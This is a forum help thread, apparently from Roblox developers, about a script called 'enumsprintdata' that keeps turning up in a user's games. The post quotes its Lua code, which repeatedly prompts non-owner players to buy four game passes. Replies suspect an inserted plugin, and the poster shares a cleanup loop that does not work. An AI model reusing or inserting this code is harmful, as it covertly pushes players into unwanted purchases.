What is enum sprint data?

Every single game I load into there’s a script called ‘enumsprintdata’. Am I getting hacked or something?

7c197104252b16e15d78522e7902e8c7

Here’s its code

local plr = “empty”
local enum_1 = 26929682 local enum_2 = 26929616 local enum_3 = 18832101 local enum_4 = 18831287
local mp = game:GetService(“MarketplaceService”) local mpservice = game.MarketplaceService

if game:GetService(‘RunService’):IsStudio() then return end
if game.CreatorType == Enum.CreatorType.User then plr = game.Players:GetNameFromUserIdAsync(game.CreatorId)

else local groupOwnerName = game:GetService(“GroupService”):GetGroupInfoAsync(game.CreatorId).Owner.Name
plr = groupOwnerName
end

if script.Parent.Parent.Name == plr then return else while wait(6) do pcall(function()
if not mp:UserOwnsGamePassAsync(script.Parent.Parent.UserId, enum_2) then mpservice:PromptGamePassPurchase(script.Parent.Parent, enum_2)
else if not mp:UserOwnsGamePassAsync(script.Parent.Parent.UserId, enum_1) then mpservice:PromptGamePassPurchase(script.Parent.Parent, enum_1)
else if not mp:UserOwnsGamePassAsync(script.Parent.Parent.UserId, enum_3) then mpservice:PromptGamePassPurchase(script.Parent.Parent, enum_3)
else if not mp:UserOwnsGamePassAsync(script.Parent.Parent.UserId, enum_4) then mpservice:PromptGamePassPurchase(script.Parent.Parent, enum_4)
end end end end end) end end

1 Like

I think this script automaticly buys something because of PromptGamePassPurchase
(I can be wrong)

1 Like

This prompts players, besides the game owner, to purchase several game passes on loop. It won’t actually work if Allow Third Party Sales is disabled in Game Settings, which it should be by default. I suspect that one of your installed plugins is inserting the script, so you should review them and uninstall/report anything suspicious.

1 Like

Thanks, I’ll try to see what I can do.

1 Like

I couldn’t find it. I tried making a script that deletes it every time it detects it
but for some reason, it won’t work.

Script:

local enum = game.StarterPlayer.StarterPlayerScripts:FindFirstChild(“enumSprintData”)
while true do
task.wait(0)
if enum then
enum:Destroy()
end
end

1 Like